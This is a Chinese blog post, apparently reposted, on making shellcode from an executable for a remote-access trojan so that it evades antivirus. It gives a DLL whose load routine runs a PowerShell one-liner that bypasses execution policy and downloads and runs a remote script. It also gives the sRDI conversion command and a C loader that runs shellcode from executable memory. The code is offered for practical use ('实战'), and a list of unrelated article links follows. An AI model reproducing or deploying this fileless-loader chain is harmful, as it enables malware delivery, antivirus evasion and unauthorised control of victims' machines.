任意Exe转ShellCode?
之前写过一个远控,但一直在琢磨如何生成shellcode,今天偶然看见一个项目:sRDI,github上就有
这个项目主要就是将dll转成shellcode,于是我就想到了“写一个输出文件的dll,然后将这个dll转成shellcode不就好了吗?”
测试了一下,真行得通,但是拿到了shellcode并没有什么用,就算静态绕过了动态还是过不去,释放文件的一瞬间就被杀了,没有任何用处……
脑子一抽,我又想到了个方法,“写个注入exe到其他进程的dll不就好了吗?”
但是后期实现的时候才发现注入exe到其他进程是个高级的操作,写起来比较麻烦(我不会
于是乎,想到了另外一种歪门邪道的方法:
正文开始
GitHub - yanncam/exe2powershell: exe2powershell - exe2bat reborn for modern Windows
这个项目可以将一个exe转换成.ps1的powershell脚本,将生成的powershell脚本上传到任意空间/服务器,然后写一个执行一句话木马的dll就好啦(也可以使用其他exe不落地执行的方法代替,步骤一样,还是要上传到空间或服务器,反正能直接访问获取到内容就行了)
#include <windows.h> using namespace std; void powershell() { system("PowerShell.exe -ExecutionPolicy Bypass IEX (New-Object Net.WebClient).DownloadString('http://ip/filename.ps1')");//执行powershell一句话木马 } BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved) { switch(fdwReason) { case DLL_PROCESS_ATTACH: { powershell(); } case DLL_PROCESS_DETACH: { break; } case DLL_THREAD_ATTACH: { powershell(); } case DLL_THREAD_DETACH: { break; } } return TRUE; }
创建一个dll项目,将代码复制进去,编译,然后使用sRDI将其转换成shellcode就好了
python ConvertToShellcode.py -i -c name.dll
在\sRDI-master\Python\文件夹中打开cmd输入命令,回车后就会发现文件夹下多出了一个name.bin,这时候基本上大功告成啦!
扩展补充
可以使用winhex等工具将生成好的.bin文件转成.c代码或其他语言的代码,如果直接调用bin文件的话是多文件,实战中不太方便
C语言Shellcode加载器
#include <windows.h> int main(){ unsigned char shellcode[] = { };//输入你的c语言格式的shellcode // Allocate memory for shellcode LPVOID lpShellcode = VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (lpShellcode == NULL)return 0; // Copy shellcode to allocated memory memcpy(lpShellcode, shellcode, sizeof(shellcode)); // Execute shellcode ((void(*)())lpShellcode)(); // Free allocated memory VirtualFree(lpShellcode, 0, MEM_RELEASE); return 0; }
原文地址:https://www.cnblogs.com/BadJui/p/17181398.html
- 简单分页的性能优化
- Flash/Flex学习笔记(42):坐标旋转
- 分布式监控系统Zabbix-完整安装记录 -添加端口监控
- Flash/Flex学习笔记(40):弹性运动续--弹簧
- 表格样式—粗边框细表格线
- 分布式监控系统Zabbix--完整安装记录 -添加apache监控
- Flash/Flex学习笔记(38):缓动动画
- 把EmEditor改造成简单的Word
- centos7下FFmpeg环境部署记录
- Mac下使用rz、sz远程上传下载文件的配置记录
- 写文件
- Mac下通过VMware Fusion安装centos虚拟机操作记录
- 进程管理利器-supervisor部署记录
- python大小写转换函数
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- Codeforces Round #621 (Div. 1 + Div. 2)(无比自闭的一夜)
- 牛客小白月赛22 A~~J
- P1914 小书童——密码
- sql server 2008 把远程的数据库的数据转移到本地数据数据库里
- 蓝桥杯 试题 基础练习 阶乘计算
- Java Lamada
- 试题 基础练习 高精度加法
- C# devExpress GridControl 行中行 子行 多级行
- 蓝桥杯 试题 基础练习 Huffuman树
- 蓝桥杯 试题 基础练习 2n皇后问题(包含n皇后问题讲解)
- 蓝桥杯 试题 基础练习 报时助手
- 蓝桥杯 试题 基础练习 回形取数
- 了解RefreshScope这篇短文就够了
- Educational Codeforces Round 83 (Rated for Div. 2) A~~E
- Codeforces Round #627 (Div. 3) 题解